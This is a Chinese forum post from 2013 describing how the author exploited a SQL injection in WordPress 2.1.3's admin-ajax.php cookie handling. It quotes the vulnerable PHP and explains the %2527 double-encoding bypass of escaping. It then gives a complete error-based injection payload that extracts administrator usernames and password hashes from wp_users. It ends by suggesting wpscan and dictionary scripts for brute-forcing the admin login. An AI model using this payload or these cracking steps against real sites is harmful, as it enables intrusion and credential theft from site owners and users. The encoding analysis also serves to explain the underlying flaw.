本帖最后由 ilx 于 2013-11-15 13:14 编辑
//其实我是半个标题党。。标题不太好想啊!
网站程序用的是 WordPress 2.1.3 ,于是我就在网上搜了漏洞 发现了个 sql注入 链接:http://www.bitscn.com/network/security/200709/110036.html
文章里给了个盲注exp 不好使 没几次暴出来的密码都使不一样 囧.
决定还是自己动手吧 然后看了下文章里的分析
[PHP] 纯文本查看 复制代码 function check_ajax_referer() {
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1')
我们 通过 strpos($tasty, USER_COOKIE) 和 strpos($tasty, PASS_COOKIE) 的验证就可以了 USER_COOKIE和PASS_COOKIE都是常量
可以看到上图get_option('siteurl')是从数字库中读网站地址 在加一次md5值就可以通过验证了
知道这个后我们来构造下
因为用了urldecode(),我们用%2527来绕过wp做的转义限制
注入:
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
return false;
/wp-admin/admin-ajax.php
cookie=wordpressuser_md5(网站url地址)=aa%2527 and(select 1 from(select count(*),concat((select concat(user_login,0x5e,user_pass,0x5e) from wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- n; wordpresspass_md5(网站url地址)=dddddd
--------------------------------------------------
题外话:
(ps :最后我自己测试了 urldecode() %2527绕过
<?php
$str=urldecode($_GET['a']);
echo $_GET['a'];
?>
%25 是 % 的url 编码
测试中 穿进来的值是 %27 所已好像是%25被转码变成了%连带后面的27就是 %27
%27在被urldecode转码就是 ' 号 绕过了限制
这个是我apache里面的日志
127.0.0.1 - - [14/Nov/2013:23:35:10 +0800] "POST /1.php?a=%2527 HTTP/1.1" 200 3
在网上搜了下 有的好像说是浏览器转的 => http://www.hx95.com/Article/Crack/201208/60172.html
--------------------------------------------------
看了下php手册
手册中有几条是这样写的
urldecode:超全局变量 $_GET 和 $_REQUEST 已经被解码了。对 $_GET 或 $_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。
$GET : GET 是通过 urldecode() 传递的
就是说 $_GET 值是已经被url解码过的了。
%2527 解码完了就变成了 %27 然后程序自己又使用了 urldecode 然后就绕过了
)
--------------------------------------------------
我也是菜鸟
最后说一句 WordPress 可以用wpscan 挺好使的
还有对于 WordPress 可以使用字典来破解后台密码的 网上有脚本。
|